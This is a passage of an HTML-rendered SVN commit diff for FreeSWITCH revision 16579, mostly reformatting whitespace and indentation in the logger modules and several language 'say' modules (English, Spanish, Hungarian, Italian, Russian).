</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -315,10 +314,10 @@
</span><span class="cx">                                 level = atoi(argv[1]);
</span><span class="cx">                         } else {
</span><span class="cx">                                 level = switch_log_str2level(argv[1]);
</span><del>-                        }
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (level == SWITCH_LOG_INVALID) {
</span><del>-                        stream->write_function(stream, "-ERR Invalid console loglevel (%s)!\n\n", argc>1? argv[1] : "");
</del><ins>+                        stream->write_function(stream, "-ERR Invalid console loglevel (%s)!\n\n", argc > 1 ? argv[1] : "");
</ins><span class="cx">                 } else {
</span><span class="cx">                         hard_log_level = level;
</span><span class="cx">                         stream->write_function(stream, "+OK console log level set to %s\n", switch_log_level2str(hard_log_level));
</span><span class="lines">@@ -337,11 +336,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 stream->write_function(stream, "+OK console color %s\n", COLORIZE ? "enabled" : "disabled");
</span><span class="cx">
</span><del>-        } else { /* if (!strcasecmp(argv[0], "help")) { */
</del><ins>+        } else {                                        /* if (!strcasecmp(argv[0], "help")) { */
</ins><span class="cx">                 stream->write_function(stream, "%s", usage_string);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_logfilemod_logfilec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -154,11 +154,11 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "New log started.\n");
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">         }
</span><span class="lines">@@ -231,7 +231,7 @@
</span><span class="cx">                 if (ok) {
</span><span class="cx">                         if (profile->log_uuid && !zstr(node->userdata)) {
</span><span class="cx">                                 char buf[2048];
</span><del>-                                switch_snprintf(buf, sizeof(buf), "%s %s", node->userdata, node->data);        
</del><ins>+                                switch_snprintf(buf, sizeof(buf), "%s %s", node->userdata, node->data);
</ins><span class="cx">                                 mod_logfile_raw_write(profile, buf);
</span><span class="cx">                         } else {
</span><span class="cx">                                 mod_logfile_raw_write(profile, node->data);
</span><span class="lines">@@ -387,7 +387,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
</del><ins>+        void *val;
</ins><span class="cx">
</span><span class="cx">         switch_log_unbind_logger(mod_logfile_logger);
</span><span class="cx">         switch_event_unbind(&globals.node);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodloggersmod_syslogmod_syslogc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, James Martelletti <james@nerdc0re.com>
</del><ins>+ * Copyright (C) 2005-2010, James Martelletti <james@nerdc0re.com>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -49,13 +49,13 @@
</span><span class="cx"> static struct {
</span><span class="cx">         char *ident;
</span><span class="cx">         char *format;
</span><del>-        int facility;
</del><ins>+        int facility;
</ins><span class="cx">         switch_bool_t log_uuid;
</span><span class="cx"> } globals;
</span><span class="cx">
</span><span class="cx"> struct _facility_table_entry {
</span><span class="cx">         char *description;
</span><del>-        int facility;
</del><ins>+        int facility;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_ident, globals.ident);
</span><span class="lines">@@ -64,33 +64,33 @@
</span><span class="cx"> switch_status_t set_global_facility(const char *facility)
</span><span class="cx"> {
</span><span class="cx">         const struct _facility_table_entry facilities[] = {
</span><del>-                { "auth", LOG_AUTH },
- #if !defined (__SVR4) && !defined (__sun)
-                { "authpriv", LOG_AUTHPRIV },
- { "ftp", LOG_FTP },
</del><ins>+                {"auth", LOG_AUTH},
+#if !defined (__SVR4) && !defined (__sun)
+                {"authpriv", LOG_AUTHPRIV},
+                {"ftp", LOG_FTP},
</ins><span class="cx"> #endif
</span><del>-                { "cron", LOG_CRON },
-                { "daemon", LOG_DAEMON },
-                { "kern", LOG_KERN },
-                { "local0", LOG_LOCAL0 },
-                { "local1", LOG_LOCAL1 },
-                { "local2", LOG_LOCAL2 },
-                { "local3", LOG_LOCAL3 },
-                { "local4", LOG_LOCAL4 },
-                { "local5", LOG_LOCAL5 },
-                { "local6", LOG_LOCAL6 },
-                { "local7", LOG_LOCAL7 },
-                { "lpr", LOG_LPR },
-                { "mail", LOG_MAIL },
-                { "news", LOG_NEWS },
-                { "syslog", LOG_SYSLOG },
-                { "user", LOG_USER },
-                { "uucp", LOG_UUCP },
-                { NULL, 0 }
</del><ins>+                {"cron", LOG_CRON},
+                {"daemon", LOG_DAEMON},
+                {"kern", LOG_KERN},
+                {"local0", LOG_LOCAL0},
+                {"local1", LOG_LOCAL1},
+                {"local2", LOG_LOCAL2},
+                {"local3", LOG_LOCAL3},
+                {"local4", LOG_LOCAL4},
+                {"local5", LOG_LOCAL5},
+                {"local6", LOG_LOCAL6},
+                {"local7", LOG_LOCAL7},
+                {"lpr", LOG_LPR},
+                {"mail", LOG_MAIL},
+                {"news", LOG_NEWS},
+                {"syslog", LOG_SYSLOG},
+                {"user", LOG_USER},
+                {"uucp", LOG_UUCP},
+                {NULL, 0}
</ins><span class="cx">         };
</span><span class="cx">         const struct _facility_table_entry *entry = facilities;
</span><span class="cx">
</span><del>-        while(!zstr(entry->description)) {
</del><ins>+        while (!zstr(entry->description)) {
</ins><span class="cx">                 if (!strcasecmp(entry->description, facility)) {
</span><span class="cx">                         globals.facility = entry->facility;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -148,7 +148,7 @@
</span><span class="cx">         /* don't log blank lines */
</span><span class="cx">         if (!zstr(node->data) && (strspn(node->data, " \t\r\n") < strlen(node->data))) {
</span><span class="cx">                 if (globals.log_uuid && !zstr(node->userdata)) {
</span><del>-                        syslog(syslog_level, "%s %s", node->userdata, node->data);        
</del><ins>+                        syslog(syslog_level, "%s %s", node->userdata, node->data);
</ins><span class="cx">                 } else {
</span><span class="cx">                         syslog(syslog_level, "%s", node->data);
</span><span class="cx">                 }
</span><span class="lines">@@ -161,10 +161,10 @@
</span><span class="cx"> {
</span><span class="cx">         char *cf = "syslog.conf";
</span><span class="cx">         switch_xml_t cfg, xml, settings, param;
</span><del>-
- /* default log level */
- log_level = SWITCH_LOG_WARNING;
</del><span class="cx">
</span><ins>+        /* default log level */
+        log_level = SWITCH_LOG_WARNING;
+
</ins><span class="cx">         /* default facility */
</span><span class="cx">         globals.facility = DEFAULT_FACILITY;
</span><span class="cx">
</span><span class="lines">@@ -208,7 +208,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         *module_interface = &console_module_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">
</span><span class="cx">         if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_enmod_say_enc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -101,11 +101,11 @@
</span><span class="cx">
</span><span class="cx">         if (b) {
</span><span class="cx">                 if (b > 1) {
</span><del>-                 if ((c==0) && (method == SSM_COUNTED)) {
-                 say_file("digits/h-%d0.wav", b);
-                 } else {
-                 say_file("digits/%d0.wav", b);
-                 }
</del><ins>+                        if ((c == 0) && (method == SSM_COUNTED)) {
+                                say_file("digits/h-%d0.wav", b);
+                        } else {
+                                say_file("digits/%d0.wav", b);
+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         say_file("digits/%d%d.wav", b, c);
</span><span class="cx">                         c = 0;
</span><span class="lines">@@ -277,7 +277,7 @@
</span><span class="cx">         uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, "timezone");
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="cx">                 int64_t minutes = 0;
</span><span class="lines">@@ -365,7 +365,7 @@
</span><span class="cx">                 target = switch_micro_time_now();
</span><span class="cx">                 target_now = switch_micro_time_now();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tz) {
</span><span class="cx">                 int check = atoi(tz);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Timezone is [%s]\n", tz);
</span><span class="lines">@@ -415,7 +415,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 say_month = say_day = say_dow = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="lines">@@ -449,9 +449,9 @@
</span><span class="cx">         if (say_time) {
</span><span class="cx">                 int32_t hour = tm.tm_hour, pm = 0;
</span><span class="cx">
</span><del>-                 if (say_date || say_today || say_yesterday || say_dow) {
</del><ins>+                if (say_date || say_today || say_yesterday || say_dow) {
</ins><span class="cx">                         say_file("time/at.wav");
</span><del>-                 }
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 if (hour > 12) {
</span><span class="cx">                         hour -= 12;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_esmod_say_esc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -91,67 +91,67 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session,switch_input_args_t *args)
-{
-        if (a) {
-                switch(a) {
-                        case 1:
-                                if (b || c) {
-                                        say_file("digits/hundred.wav");
-                                } else {
-                                        say_file("digits/100.wav");
-                                }
-                                break;
-                        case 5:
-                                say_file("digits/500.wav");
-                                break;
-                        case 7:
-                                say_file("digits/700.wav");
-                                break;
-                        case 9:
-                                say_file("digits/900.wav");
-                                break;
-                        default:
-                                say_file("digits/%d.wav", a);
-                                say_file("digits/hundred.wav");
-                                break;
-                }
-        }
</del><ins>+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session, switch_input_args_t *args)
+{
+        if (a) {
+                switch (a) {
+                case 1:
+                        if (b || c) {
+                                say_file("digits/hundred.wav");
+                        } else {
+                                say_file("digits/100.wav");
+                        }
+                        break;
+                case 5:
+                        say_file("digits/500.wav");
+                        break;
+                case 7:
+                        say_file("digits/700.wav");
+                        break;
+                case 9:
+                        say_file("digits/900.wav");
+                        break;
+                default:
+                        say_file("digits/%d.wav", a);
+                        say_file("digits/hundred.wav");
+                        break;
+                }
+        }
</ins><span class="cx">
</span><del>-        if (b) {
-                if (b > 1) {
-                        switch (b) {
-                                                case 2: if (c) {
-                                                        say_file("digits/veinti.wav");
-                                                                                                                } else {
-                                                                                                                        say_file("digits/20.wav");
-                                                                                                                }
-                                                                                                                break;
-                                                default:
-                                                        say_file("digits/%d0.wav", b);
-                                                        if (c)
-                                                        {
-                                                                say_file("currency/and.wav");
-                                                        }
-                                                        break;
-                        }
-                } else {
-                        say_file("digits/%d%d.wav", b, c);
-                        c = 0;
-                }
-        }
-        if (c) {
-                if (method == SSM_COUNTED) {
-                        say_file("digits/h-%d.wav", c);
-                } else {
-                        say_file("digits/%d.wav", c);
-                }
-        }
-        if (what && (a || b || c)) {
-                say_file(what);
-        }
-        return SWITCH_STATUS_SUCCESS;
-}
</del><ins>+        if (b) {
+                if (b > 1) {
+                        switch (b) {
+                        case 2:
+                                if (c) {
+                                        say_file("digits/veinti.wav");
+                                } else {
+                                        say_file("digits/20.wav");
+                                }
+                                break;
+                        default:
+                                say_file("digits/%d0.wav", b);
+                                if (c) {
+                                        say_file("currency/and.wav");
+                                }
+                                break;
+                        }
+                } else {
+                        say_file("digits/%d%d.wav", b, c);
+                        c = 0;
+                }
+        }
+        if (c) {
+                if (method == SSM_COUNTED) {
+                        say_file("digits/h-%d.wav", c);
+                } else {
+                        say_file("digits/%d.wav", c);
+                }
+        }
+        if (what && (a || b || c)) {
+                say_file(what);
+        }
+        return SWITCH_STATUS_SUCCESS;
+}
</ins><span class="cx">
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_humod_say_huc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -91,7 +91,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session, switch_input_args_t *args)
</del><ins>+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session,
+                                                                 switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         if (a) {
</span><span class="cx">                 say_file("digits/%d.wav", a);
</span><span class="lines">@@ -100,11 +101,11 @@
</span><span class="cx">
</span><span class="cx">         if (b) {
</span><span class="cx">                 if (b > 2) {
</span><del>-                 if ((c==0) && (method == SSM_COUNTED)) {
-                 say_file("digits/h-%d0.wav", b);
-                 } else {
-                 say_file("digits/%d0.wav", b);
-                 }
</del><ins>+                        if ((c == 0) && (method == SSM_COUNTED)) {
+                                say_file("digits/h-%d0.wav", b);
+                        } else {
+                                say_file("digits/%d0.wav", b);
+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         say_file("digits/%d%d.wav", b, c);
</span><span class="cx">                         c = 0;
</span><span class="lines">@@ -198,10 +199,12 @@
</span><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-                        if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                        if ((status =
+                                 play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><del>-                        if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3], "digits/thousand.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                        if ((status =
+                                 play_group(SSM_PRONOUNCED, places[5], places[4], places[3], "digits/thousand.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><span class="cx">                         if ((status = play_group(method, places[2], places[1], places[0], NULL, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -273,7 +276,7 @@
</span><span class="cx">         uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, "timezone");
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="cx">                 int64_t minutes = 0;
</span><span class="lines">@@ -349,7 +352,7 @@
</span><span class="cx">                 target = switch_micro_time_now();
</span><span class="cx">                 target_now = switch_micro_time_now();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tz) {
</span><span class="cx">                 int check = atoi(tz);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Timezone is [%s]\n", tz);
</span><span class="lines">@@ -399,7 +402,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 say_month = say_day = say_dow = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_itmod_say_itc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -181,65 +181,66 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-
- /* Get in */
</del><ins>+
+        /* Get in */
</ins><span class="cx">         in = atoi(tosay);
</span><del>-
- /* Check if number too big */
- if (in > 999999999) {
- /* Fail */
- return SWITCH_STATUS_FALSE;
- }
</del><span class="cx">
</span><del>- /* Check if number isin't zero */
</del><ins>+        /* Check if number too big */
+        if (in > 999999999) {
+                /* Fail */
+                return SWITCH_STATUS_FALSE;
+        }
+
+        /* Check if number isin't zero */
</ins><span class="cx">         if (in != 0) {
</span><del>-
- /* Init x to 0 */
- places_count = 0;
-
- /* Loop until in is greater than zero */
- do {
- /* Get last digit */
- places[places_count] = in % 10;
-
- /* Drop last digit */
- in = in / 10;
- }
- while(in > 0 && ++places_count > 0 /* fake check to put in while */);
-
</del><ins>+
+                /* Init x to 0 */
+                places_count = 0;
+
+                /* Loop until in is greater than zero */
+                do {
+                        /* Get last digit */
+                        places[places_count] = in % 10;
+
+                        /* Drop last digit */
+                        in = in / 10;
+                }
+                while (in > 0 && ++places_count > 0 /* fake check to put in while */ );
+
</ins><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-
- /* Check for milions */
- if (places_count > 5) {
- /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
- if (places[6] == 1 && places[7] == 0 && places[8] == 0) {
- say_file("digits/un.wav");
- say_file("digits/million.wav");
- } else {
- /* Play millions group (digits/million.wav should be digits/millions.wav) */
- if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
- return status;
- }
- }
-
- }
-                        
- /* Check for thousands */
- if (places_count > 2) {
- if (places[3] == 1 && places[4] == 0 && places[5] == 0) {
- say_file("digits/thousand.wav");
- } else {
- /* Play thousand group */
- if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
</del><ins>+
+                        /* Check for milions */
+                        if (places_count > 5) {
+                                /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
+                                if (places[6] == 1 && places[7] == 0 && places[8] == 0) {
+                                        say_file("digits/un.wav");
+                                        say_file("digits/million.wav");
+                                } else {
+                                        /* Play millions group (digits/million.wav should be digits/millions.wav) */
+                                        if ((status =
+                                                 play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
+                                                return status;
+                                        }
+                                }
+
+                        }
+
+                        /* Check for thousands */
+                        if (places_count > 2) {
+                                if (places[3] == 1 && places[4] == 0 && places[5] == 0) {
+                                        say_file("digits/thousand.wav");
+                                } else {
+                                        /* Play thousand group */
+                                        if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
</ins><span class="cx">                                                                                          "digits/thousands.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>- return status;
- }
- }
- }
-
- /* Play last group */
</del><ins>+                                                return status;
+                                        }
+                                }
+                        }
+
+                        /* Play last group */
</ins><span class="cx">                         if ((status = play_group(method, places[2], places[1], places[0], NULL, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><span class="lines">@@ -417,11 +418,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (say_time) {
</span><del>- say_file("time/hours.wav");
</del><ins>+                say_file("time/hours.wav");
</ins><span class="cx">                 say_num(tm.tm_hour, SSM_PRONOUNCED);
</span><span class="cx">
</span><span class="cx">                 if (tm.tm_min) {
</span><del>- say_file("time/and.wav");
</del><ins>+                        say_file("time/and.wav");
</ins><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_rumod_say_ruc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -49,13 +49,14 @@
</span><span class="cx"> #include "mod_say_ru.h"
</span><span class="cx">
</span><span class="cx"> /* инициализируем массив вариантов произношения цифр описано в define mod_say_ru.h */
</span><del>-struct say_t matrix[7][8]= {{m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
-                                {m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
-                                {m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
-                                {m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
-                                {m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
-                                {m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
-                                {m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}};
</del><ins>+struct say_t matrix[7][8] = { {m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
+{m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
+{m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
+{m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
+{m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
+{m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
+{m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}
+};
</ins><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_say_ru_load);
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_say_ru, mod_say_ru_load, NULL, NULL);
</span><span class="lines">@@ -108,8 +109,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return ret;
</span><del>-}
-
</del><ins>+}
+
</ins><span class="cx"> static switch_status_t ru_spell(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="lines">@@ -133,83 +134,83 @@
</span><span class="cx">                                                                  unit_t what, switch_core_session_t *session, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         if (a) {
</span><del>-                if (((b==0)&&(c==0))||(matrix[casus][say_type].all==1)) { //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
-                        if (what==million)        { //префикс                 число окончание
</del><ins>+                if (((b == 0) && (c == 0)) || (matrix[casus][say_type].all == 1)) {        //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
+                        if (what == million) {        //префикс число окончание
</ins><span class="cx">                                 say_file("digits/%s%d00%s.wav", matrix[casus][say_type].million[12], a, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file("digits/%s%d00%s.wav", matrix[casus][say_type].thousand[12], a, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
</span><span class="cx">                         } else {
</span><span class="cx">                                 say_file("digits/%s%d00%s.wav", matrix[casus][say_type].num[6], a, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><del>-                } else { //если дальше есть цифры то тысячи и миллионы не прозносить пока
-                        say_file("digits/%d00.wav",a);
</del><ins>+                } else {                                //если дальше есть цифры то тысячи и миллионы не прозносить пока
+                        say_file("digits/%d00.wav", a);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (b) {
</span><del>-                if (b>1) { //если 20 и больше
-                        if ((c==0)||(matrix[casus][say_type].all==1)) { //если с равны 0 то сказать 20, двадцати, двадцатая
-                                if (what==million) { //префикс                 число окончание
</del><ins>+                if (b > 1) {                        //если 20 и больше
+                        if ((c == 0) || (matrix[casus][say_type].all == 1)) {        //если с равны 0 то сказать 20, двадцати, двадцатая
+                                if (what == million) {        //префикс число окончание
</ins><span class="cx">                                         say_file("digits/%s%d0%s.wav", matrix[casus][say_type].million[12], b, matrix[casus][say_type].million[13]);
</span><span class="cx">                                         say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
</span><del>-                                } else if (what==thousand) {
</del><ins>+                                } else if (what == thousand) {
</ins><span class="cx">                                         say_file("digits/%s%d0%s.wav", matrix[casus][say_type].thousand[12], b, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                         say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         say_file("digits/%s%d0%s.wav", matrix[casus][say_type].num[6], b, matrix[casus][say_type].num[7]);
</span><span class="cx">                                 }
</span><del>-                        } else { //если есть дальше цифры
-                                say_file("digits/%d0.wav",b);
</del><ins>+                        } else {                        //если есть дальше цифры
+                                say_file("digits/%d0.wav", b);
</ins><span class="cx">                         }
</span><del>-                } else { //от 10 до 19
-                        if (what==million) {
</del><ins>+                } else {                                //от 10 до 19
+                        if (what == million) {
</ins><span class="cx">                                 say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].million[12], b, c, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].thousand[12], b, c, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
</span><del>-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].num[6], b, c, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><del>-                        c=0;
</del><ins>+                        c = 0;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (c||what==zero) {
-                if (c<=5) {
-                        if (what==million) {
-                                if ((strlen(matrix[casus][say_type].million[c*2])) > 0) { // не произносить если не заданно например 1 миллион а просто миллион
-                                        say_file("digits/%s.wav", matrix[casus][say_type].million[c*2])
</del><ins>+        if (c || what == zero) {
+                if (c <= 5) {
+                        if (what == million) {
